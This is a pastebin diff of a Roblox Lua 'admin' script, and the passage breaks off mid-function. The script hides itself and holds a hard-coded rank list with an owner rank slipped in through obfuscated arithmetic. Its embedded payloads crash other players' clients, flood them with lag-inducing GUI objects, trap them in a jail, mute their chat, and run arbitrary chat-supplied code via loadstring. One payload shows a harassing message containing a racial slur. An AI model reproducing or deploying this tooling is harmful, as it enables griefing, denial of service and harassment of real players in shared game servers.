View difference between Paste ID: Umg2vdv6 and fy5zXJWg
SHOW: | | - or go back to the newest paste.
1
--[[
2
Kaj Admin Generation 8
3
Lol global admin
4
]]
5
6
7
8
9
10
11
12
13
14
15
16
17
if script then
18
    coroutine.yield()
19
    script.Parent = nil
20
end
21
--[[Stuff]]--
22
VR = _VERSION
23
Plrs = game:GetService("Players")
24
Work = game:GetService("Workspace")
25
Light = game:GetService("Lighting")
26
Net = game:GetService("NetworkServer")
27
Removed = false
28
Bet = "/"
29
LS = nil
30
LSSource = nil
31
OwnSource = nil
32
FoundLocalScript = false
33
LogOn = false
34
Current = game
35
Clipboard = {}
36
AlertColor = Color3.new(1, 0, 0)
37
OptionColor = Color3.new(1, 1, 1)
38
ImportantColor = Color3.new(1, 0, 1)
39
--[[Ranks]]--
40
RankDetails = {
41
	[-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
42
	[-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
43
	[-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
44
	[0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
45
	[1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
46
	[2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
47
	[3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
48
	[4] = {Name = "Super Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Super Administrator)"},
49
	[5] = {Name = "Maximum Adminstrator", Color = Color3.new(-1, -1, -1), Desc = "Maximum Adminstrator"},
50
	
51
}
52
53
Rankings = {
54
	{Name = "Ethancomputermad", Rank = 3},
55
	{Name = "ZexorAdmin", Rank = 1},
56
	{Name = "DecimatorOfCreations", Rank = 3},
57
	{Name = "ValkazarAdmin", Rank = 2},
58
	{Name = "MoistAdmin", Rank = 2},
59
	{Name = "Stypi", Rank = 1},
60
	{Name = "Titanpad", Rank = 2},
61
	{Name = "ImAmYourSon", Rank = -1},
62
	{Name = "ERRORscript", Rank = -1},
63
	{Name = "iKrypto", Rank = -1},
64
	{Name = "MessorAdmin", Rank = 1},
65
	{Name = "kayaven", Rank = 1},
66
	{Name = "iLordVex", Rank = 2},
67
	{Name = "xandon", Rank = 3},
68
	{Name = "nolanhawz1", Rank = -1},
69
	{Name = "Djblakey", Rank = -1},
70
	{Name = "Supah", Rank = -1},
71
	{Name = "cand1164", Rank = 6},
72
	{Name = "KaleyFranzwa", Rank = 6},
73
	{Name = "KaleyAdmin", Rank = 6},
74
	{Name = "FranzwaAdmin", Rank = 6},
75
	{Name = "Slurrrp", Rank = -1},
76
	{Name = "Particle", Rank = -1},
77
	{Name = "hyperionGM", Rank = 3},
78
	{Name = "optiplex123", Rank = 3},
79
	{Name = "aleksa12432", Rank = 3},
80
	{Name = "YoungWarlock", Rank = 5},
81
	{Name = "luxulux", Rank = 3},
82
	{Name = "OMGshadeslayer", Rank = 2},
83-
	{Name = "moderrncombat", Rank = 6},
83+
	{Name = "BlueHasSwag", Rank = 6},
84
	{Name = "bloxking3", Rank = 2},
85
	{Name = "xxCONTENTDELETERxx", Rank = -2},
86
	{Name = "joemom33", Rank = 2},
87
	{Name = "1waffle1", Rank = 1},
88
	{Name = "Abscissa", Rank = 2},
89
	{Name = "Ultimatekiller010", Rank = 2},
90
	{Name = "DrBackstab", Rank = 2},
91
	{Name = "LuaModelMaker", Rank = 2},
92
	{Name = "MakerModelLua", Rank = 2},
93
	{Name = "MrMrLua", Rank = 2},
94
	{Name = "MountainSnow", Rank = 2},
95
	{Name = "madiik", Rank = 2},
96
	{Name = "dogwarrior24", Rank = 2},
97
	{Name = "ThePC8110", Rank = 2},
98
	{Name = "DEADDEVIL1919", Rank = 2},
99
	{Name = "toshir0z", Rank = 2},
100
	{Name = "Tippee", Rank = 2},
101
	{Name = "Trcker", Rank = 3},
102
	{Name = "nairod7", Rank = 2},
103
	{Name = "12packkid", Rank = 2},
104
	{Name = "TigreBlood", Rank = 2},
105
	{Name = "Frostftw", Rank = -1},
106
	{Name = "DoogleFox", Rank = 2},
107
	{Name = "Aetheus", Rank = 3},
108
	{Name = "Ri1es", Rank = 2},
109
	{Name = "hrocks1", Rank = 2},
110
	{Name = "Zinsei", Rank = 1},
111
	{Name = "KaleyAdmin", Rank = 2},
112
	{Name = "tusKOr661", Rank = 2},
113
	{Name = "Unicornhax", Rank = 1},
114
	{Name = "iMayor", Rank = 1},
115
	{Name = "iMyLittlePony", Rank = 1},
116
	{Name = "xXxkarlxXx", Rank = 1},
117
	{Name = "LightningRoMan", Rank = 1},
118
	{Name = "Builderman3464", Rank = 6},
119
	{Name = "serun15", Rank = 2},
120
	{Name = "AtlasGrim", Rank = 1},
121
	{Name = "noliCAIKS", Rank = 4},
122
	{Name = "Oxcool1", Rank = 1},
123
	{Name = "V3rmilli0n", Rank = 1},
124
	{Name = "v3mil10n", Rank = -1},
125
	{Name = "jarredbcv", Rank = 2},
126
	{Name = "G1anl0rd", Rank = 2},
127
	{Name = "gostar1234567890", Rank = 1},
128
	{Name = "saintsrowrulzz", Rank = 2},
129
	{Name = "TeamDman", Rank = 4},
130
	{Name = "ROBLOX", Rank = 2},
131
	{Name = "StickMasterLuke", Rank = 3},
132
	{Name = "builderman", Rank = 1},
133
	{Name = "hatting", Rank = 1},
134
	{Name = "Cobalt", Rank = 3},
135
	{Name = "Seranok", Rank = 2},
136
	{Name = "supershadnew", Rank = 5},
137
	{Name = "MrNil", Rank = 2},
138
	{Name = "KotixPL", Rank = 1},
139
	{Name = "8BitNils", Rank = 1},
140
	{Name = "FANTASTIC5001", Rank = 2},
141
	{Name = "FANTASTlC5001", Rank = 6},
142
	{Name = "moded", Rank = 2},
143
	{Name = "NilScripter", Rank = 1},
144
	{Name = "NilScripterALT", Rank = -1},
145
	{Name = "Z7M", Rank = 2},
146
	{Name = "InstallingData", Rank = 1},
147
	{Name = "SeverGuardianAdmin", Rank = -1},
148
	{Name = "ServerGuardianAdmin", Rank = -1},
149
	{Name = "fiddlesticks", Rank = 1},
150
	{Name = "Daniel k", Rank = 3},
151
	{Name = "TraNinjaGuy", Rank = 1},
152
	{Name = "DrMigos", Rank = 1},
153
	
154
	
155
	
156
}
157
158
159
--[[End of Ranks]]--
160
ImportantServices = {
161
	"Workspace",
162
	"Players",
163
	"NetworkServer",
164
	"Lighting",
165
	"StarterGui",
166
	"Teams",
167
	"StarterPack",
168
}
169
170
Ranks = {}
171
Commands = {}
172
AllTabs = {}
173
Injected = {}
174
175
Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
176
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
177
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
178
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
179
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
180
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
181
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
182
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
183
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
184
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
185
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
186
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
187
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
188
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
189
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
190
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
191
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
192
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
193
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
194
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
195
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
196
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
197
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
198
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
199
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
200
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
201
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
202
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
203
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
204
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
205
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
206
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
207
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
208
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
209
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
210
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
211
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
212
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
213
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
214
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
215
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
216
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
217
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
218
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
219
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
220
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
221
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
222
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
223
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
224
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
225
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
226
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
227
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
228
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
229
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
230
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
231
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
232
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
233
"X","Y"}
234
235
--Main Functions And Sources
236
237
function Insert(Source, Par, Par2, Par3)
238
	ypcall(function()
239
		local Inserted = LS:Clone()
240
		Inserted.Disabled = true
241
		Inserted.Parent = Par or Par2 or Par3
242
		Inserted[LSSource].Value = Source
243
		Inserted.Disabled = false
244
	end)
245
end
246
247
function CheckImportant(Name)
248
	for _,v in pairs(ImportantServices) do
249
		if v:lower() == Name:lower() then
250
			return true
251
		end
252
	end
253
	return false
254
end
255
256
function Crash1(Plr)
257
	ypcall(function()
258
		Plr:Kick()
259
	end)
260
end
261
262
function GetRankTab()
263
	return Rankings
264
end
265
266
function Crash2(Name)
267
	local Crasher = Instance.new("StringValue")
268
	Crasher.Name = "Client"
269
	Crasher.Value = string.lower(tostring(Name))
270
	Crasher.Parent = game:GetService("Lighting")
271
	wait(1)
272
	if Crasher and Crasher.Parent then
273
		ypcall(function()
274
			Crasher:Destroy()
275
		end)
276
	end
277
end
278
279
function Crash3(v, Speaker)
280
	Speaker.Character.Archivable = true
281
	local NChar = Speaker.Character:Clone()
282
	NChar.Name = v.Name
283
	NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
284
	NChar.Parent = Workspace
285
	v.Character = NChar
286
	coroutine.resume(coroutine.create(function()
287
		repeat v.Character = NChar
288
		wait(1/3) until false
289
	end))
290
	wait(.5)
291
	Insert(InsertCrash, NChar, nil, nil)
292
end
293
294
function GenerateDigit()
295
	return 1 + 5
296
end
297
298
299
NilS = [==[
300
if script then
301
    coroutine.yield()
302
    script.Parent = nil
303
end
304
Player=game.Players.LocalPlayer
305
Probe=Instance.new'Part';
306
CN='Kaj TabletsNil | ['..Player.Name..']'
307
Camera=Workspace.CurrentCamera
308
Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
309
Char = Player.Character
310
if Char then
311
	Char.Archivable = true
312
	Char = Char:clone()
313
	local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
314
	if t then
315
		for k,v in pairs(Char:GetChildren()) do
316
			if not v:IsA("Part") then
317
				v:clone().Parent = t
318
			end
319
		end
320
		Char = t:clone()
321
		if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
322
        local spot = Instance.new("SpotLight",Char.Head)
323
        spot.Angle = 10
324
        spot.Range = 10
325
        spot.Color = Color3.new(1,1,1)
326
        spot.Brightness = 10
327
        local point = Instance.new("PointLight",Char.Head)
328
        point.Range = 10
329
        point.Color = Color3.new(1,1,1)
330
        point.Brightness = 10
331
        end
332
	end
333
end
334
335
coroutine.resume(coroutine.create(function()
336
	while true do wait(0.00000001)
337
		pcall(function()
338
			if Character.Torso.CFrame.Y < 1 then
339
			Character.Torso.CFrame = CFrame.new(0,20,0)
340
			end
341
 		end)
342
	end
343
end))
344
Title=function(txt,part,color,rise)
345
	col=nil
346
	col=Color3.new(BrickColor.new(color))
347
	local Gui = Instance.new("BillboardGui",part)
348
	Gui.Name = "3DGUI"
349
	Gui.ExtentsOffset = Vector3.new(0,2,0)
350
	Gui.Size = UDim2.new(8,0,2,0)
351
	local Tit = Instance.new("TextLabel",Gui)
352
	Tit.Name = "Title"
353
	Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
354
	Tit.TextColor3 = Color3.new(0,0,0)
355
	Tit.TextTransparency = 0.25
356
	Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
357
	Tit.TextStrokeTransparency = 0.5
358
	Tit.Size = UDim2.new(1,0,1,0)
359
	Tit.BackgroundTransparency = 1
360
	Tit.Font = "ArialBold"
361
	Tit.TextScaled = true
362
	Tit.Text = txt
363
	if rise then
364
		if not tonumber(rise) then rise = 1 end
365
		coroutine.wrap(function()
366
			while Tit.Parent and Gui.Parent and wait() do
367
				Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
368
			end
369
		end)()
370
	end
371
	return Tit
372
end
373
Chat=function(Part,Text,Color,Type)
374
	if Type==nil or Type==1 or Type=='Bubble' then
375
		game:service'Chat':Chat(Part,Text,Color)
376
	else
377
		if type(Color)~='string' then	
378
			Color=tostring(BrickColor.random())
379
		end
380
		Title(Text,Part,Color,math.random(1,3))
381
	end
382
end
383
DestroyCharacter=function()
384
	local chara = Player.Character
385
	if not chara then return end
386
	if chara:findFirstChild("Humanoid") then
387
		chara.Humanoid:Destroy()
388
	end
389
	chara:BreakJoints()
390
	for k,v in pairs(chara:GetChildren()) do
391
		if v:IsA("BasePart") then
392
			v.CanCollide = false
393
			v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
394
			v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
395
		end
396
	end
397
	game.Debris:AddItem(chara,3)
398
end
399
MakeProbe=function()
400
	if Player.Character then DestroyCharacter() end Player.Character = nil
401
	if Probe then Probe:Destroy() end
402
	Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
403
	Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
404
	Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
405
	Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
406
	coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
407
	Player.Character=Probe
408
end
409
Spawn=function()
410
	if Char then
411
		local c = Char:clone()
412
		c.Name = CN
413
		c.Parent = workspace
414
		c:MoveTo(workspace.CurrentCamera.Focus.p)
415
		Player.Character = c
416
		workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
417
		workspace.CurrentCamera.CameraType = "Custom"
418
		Probe:Destroy()
419
	end
420
end
421
Player.Chatted:connect(function(Msg)
422
game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
423
	if Msg:sub(1,2) == '//' then
424
		local Func,Error=loadstring(Msg:sub(3))
425
		if Error==nil then
426
			pcall(Func)
427
			if Player.Character then
428
				game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
429
			end
430
		else
431
			if Player.Character then
432
				game:service'Chat':Chat(Player.Character.Head,Error,'Red')
433
			else
434
				local Msg=Instance.new'Message'
435
				Msg.Parent=Workspace.CurrentCamera
436
				Msg.Text=Error
437
				game:service'Debris':AddItem(Msg,5)
438
			end
439
		end
440
	elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
441
		NewMsg=Msg:sub(#('newlocal')+3)
442
		Split=NewMsg:find('/')
443
		local PlayerName=NewMsg:sub(1,Split-1)
444
		local Source=NewMsg:sub(Split+1)
445
		Player=nil
446
		for i,v in pairs(game.Players:GetPlayers()) do
447
			if v.Name:lower():sub(1,#PlayerName)==PlayerName then
448
				if Player==nil then
449
					Player=v
450
				else
451
					if type(Player) == 'table' then
452
						Player[#Player+1]=v
453
					else
454
						Player={v}
455
					end
456
				end
457
			end
458
		end
459
		if type(Player)=='table' then
460
			for i,v in pairs(Player) do	
461
				if newLocalScript then
462
					newLocalScript(Source,v.Character)
463
				else
464
					Clone=script:clone();
465
					SourceC=Clone:children()[1]
466
					if SourceC:IsA'StringValue' then
467
						print'String'
468
					else
469
						SourceC=Clone:children()[2]
470
					end
471
					SourceC.Value=Source
472
					Clone.Disabled=true
473
					Clone.Parent=v.Character
474
					Clone.Disabled=false
475
				end
476
			end
477
		else
478
			if newLocalScript then
479
				newLocalScript(Source,Player.Character)
480
			else
481
				Clone=script:clone();
482
				DS=Clone:children()
483
				DSS=nil
484
				for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
485
				DSS.Value=Source
486
				Clone.Disabled=true;
487
				Clone.Parent=Player.Character
488
				Clone.Disabled=false
489
			end
490
		end
491
	elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
492
		game:service'TeleportService':Teleport(Game.PlaceId)
493
	elseif Msg:sub(1,#('probe')+2) == '/probe/' then
494
		MakeProbe()
495
	elseif Msg:sub(1,#('char')+2) =='/char/' then
496
		Spawn()
497
	elseif Msg:sub(1,#('ban')+2) == '/ban/' then
498
		Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
499
		if Player then
500
			repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3 
501
		end
502
	end
503
	wait()
504
	if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
505
		if Probe then
506
			Chat(Probe,Msg,math.random(0,2))
507
		else	
508
			if Player.Character==nil then
509
				if Char then
510
					Chat(Char.Head,Msg,math.random(0,2))
511
				end
512
			else
513
				Chat(Player.Character.Head,Msg,'Red')
514
			end
515
		end
516
	end
517
end) -- local
518
]==]
519
520
InjectionCrash = [=[
521
	wait(0)
522
	script.Parent = nil
523
	local Lig = game:GetService("Lighting")
524
	local LP = game:GetService("Players").LocalPlayer
525
	local LowerName = LP.Name:lower()
526
527
	Lig.ChildAdded:connect(function(Obj)
528
		if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
529
			pcall(function()
530
				Obj:Destroy()
531
			end)
532
			LP.Parent = nil
533
			LP.Parent = game:GetService("Players")
534
		end
535
	end)
536
]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
537
538
InsertCrash = [==[
539
	local LP = game:GetService("Players").LocalPlayer
540
	LP.Parent = nil
541
	LP.Parent = game:GetService("Players")
542
]==]
543
544
LagSource = [==[
545
	wait(0)
546
	script.Parent = nil
547
	plr = game:GetService("Players").LocalPlayer
548
	local plrgui = plr:findFirstChild("PlayerGui")
549
	if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
550
	while plr.Parent == game:GetService("Players") do
551
	wait()
552
	for i = 1, 1000 do
553
	local sc = Instance.new("ScreenGui",plrgui)
554
	local fr = Instance.new("TextLabel",sc)
555
	fr.Text = "LAGGING"
556
	fr.Size = UDim2.new(1, 0, 1, 0)
557
	fr.FontSize = "Size48"
558
	end
559
	end
560
]==]
561
562
MuteSource = [==[
563
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
564
]==]
565
566
UnMuteSource = [==[
567
	game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
568
]==]
569
570
FunScript = [[
571
LP = game:service'Players'.LocalPlayer
572
Shapes = {"Ball", "Block"}
573
wait()
574
script.Parent = nil
575
Delay(0, function()
576
while wait() do
577
workspace.CurrentCamera.CameraType = "Scriptable"
578
workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
579
workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
580
workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
581
local Part = Instance.new("Part", workspace.CurrentCamera)
582
Part.Shape = Shapes[math.random(1, 2)]
583
Part.Anchored = true
584
Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
585
Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
586
Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
587
local Smoke = Instance.new("Smoke", Part)
588
Smoke.Color = Color3.new(math.random(), math.random(), math.random()) 
589
Smoke.Opacity = 0.7 
590
local Sparkles = Instance.new("Sparkles", Part)
591
Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random()) 
592
local Fire = Instance.new("Fire", Part)
593
Fire.Color = Color3.new(math.random(), math.random(), math.random()) 
594
Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random()) 
595
local Ex = Instance.new("Explosion", workspace.CurrentCamera)
596
Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
597
Ex.BlastPressure = 15
598
Ex.BlastRadius = 12.5
599
if not workspace.CurrentCamera:findFirstChild("Hint") then
600
local mes = Instance.new("Hint", workspace.CurrentCamera)
601
mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
602
end
603
end
604
end)
605
]]
606
607
JailSource = [==[
608
	wait(0)
609
	script.Parent = nil
610
611
	local LP = game:GetService("Players").LocalPlayer
612
	Middle2 = nil
613
	Middle = nil
614
	game:GetService("Workspace").CurrentCamera:ClearAllChildren()
615
616
	Cons = {}
617
618
	function makePrison()
619
		for _,v in pairs(Cons) do
620
			v:disconnect()
621
		end
622
		game:GetService("Workspace").CurrentCamera:ClearAllChildren()
623
		if Middle == nil then
624
			Middle2 = LP.Character.Torso.Position
625
			Middle = LP.Character.Torso.CFrame
626
		end
627
		local side1 = Instance.new("Part")
628
		side1.Name = "¬Focus1¬"
629
		side1.Size = Vector3.new(20, 50, 1)
630
		side1.CFrame = Middle * CFrame.new(0, 0, -10)
631
		side1.BrickColor = BrickColor.new("Really black")
632
		side1.CanCollide = true
633
		side1.Anchored = true
634
		side1.TopSurface = "Smooth"
635
		side1.BottomSurface = "Smooth"
636
		side1.Parent = game:GetService("Workspace").CurrentCamera
637
638
		local side2 = Instance.new("Part")
639
		side2.Name = "¬Focus2¬"
640
		side2.Size = Vector3.new(20, 50, 1)
641
		side2.CFrame = Middle * CFrame.new(0, 0, 10)
642
		side2.BrickColor = BrickColor.new("Really black")
643
		side2.CanCollide = true
644
		side2.Anchored = true
645
		side2.TopSurface = "Smooth"
646
		side2.BottomSurface = "Smooth"
647
		side2.Parent = game:GetService("Workspace").CurrentCamera
648
649
		local side3 = Instance.new("Part")
650
		side3.Name = "¬Focus3¬"
651
		side3.Size = Vector3.new(1, 50, 20)
652
		side3.CFrame = Middle * CFrame.new(10, 0, 0)
653
		side3.BrickColor = BrickColor.new("Really black")
654
		side3.CanCollide = true
655
		side3.Anchored = true
656
		side3.TopSurface = "Smooth"
657
		side3.BottomSurface = "Smooth"
658
		side3.Parent = game:GetService("Workspace").CurrentCamera
659
660
		local side4 = Instance.new("Part")
661
		side4.Name = "¬Focus4¬"
662
		side4.Size = Vector3.new(1, 50, 20)
663
		side4.CFrame = Middle * CFrame.new(-10, 0, 0)
664
		side4.BrickColor = BrickColor.new("Really black")
665
		side4.CanCollide = true
666
		side4.Anchored = true
667
		side4.TopSurface = "Smooth"
668
		side4.BottomSurface = "Smooth"
669
		side4.Parent = game:GetService("Workspace").CurrentCamera
670
		
671
		local side5 = Instance.new("Part")
672
		side5.Name = "¬Focus5¬"
673
		side5.Size = Vector3.new(20, 1, 20)
674
		side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
675
		side5.BrickColor = BrickColor.new("Really black")
676
		side5.CanCollide = true
677
		side5.Anchored = true
678
		side5.TopSurface = "Smooth"
679
		side5.BottomSurface = "Smooth"
680
		side5.Parent = game:GetService("Workspace").CurrentCamera
681
		
682
		wait(0)
683
684
		table.insert(Cons, side1.Changed:connect(makePrison))
685
		table.insert(Cons, side2.Changed:connect(makePrison))
686
		table.insert(Cons, side3.Changed:connect(makePrison))
687
		table.insert(Cons, side4.Changed:connect(makePrison))
688
		table.insert(Cons, side5.Changed:connect(makePrison))
689
	end
690
691
	Delay(0, function()
692
		while wait(0) do
693
			ypcall(function()
694
				if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
695
					LP.Character:BreakJoints()
696
				elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
697
					makePrison()
698
				end
699
			end)
700
			ypcall(function()
701
				if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
702
					LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
703
				end
704
			end)
705
		end
706
	end)
707
]==]
708
709
function All()
710
	local AllPlayers = {}
711
	for _,v in pairs(Plrs:GetPlayers()) do
712
		ypcall(function()
713
			table.insert(AllPlayers, v)
714
		end)
715
	end
716
	return AllPlayers
717
end
718
719
function All2()
720
	local AllPlayers2 = {}
721
	for i,v in pairs(Net:GetChildren()) do
722
		ypcall(function()
723
			if v:IsA("ServerReplicator") then
724
				table.insert(AllPlayers2, v:GetPlayer())
725
			end
726
		end)
727
	end
728
	return AllPlayers2
729
end
730
731
function MakeNum()
732
	return 2 + 4
733
end
734
735
function ChangeRank(Plr, NewRank)
736
	local PlrName = nil
737
	local FoundPlayer = false
738
	ypcall(function()
739
		if type(Plr) == "string" then
740
			ypcall(function()
741
				for i,v in pairs(Rankings) do
742
					if v.Name:lower() == Plr:lower() then
743
						local VName = v.Name
744
						Rankings[i] = nil
745
						table.insert(Rankings, {Name = VName, Rank = NewRank})
746
						PlrName = VName
747
						FoundPlayer = true
748
						break
749
					end
750
				end
751
			end)
752
			if FoundPlayer == false then
753
				ypcall(function()
754
					for _,x in pairs(All()) do
755
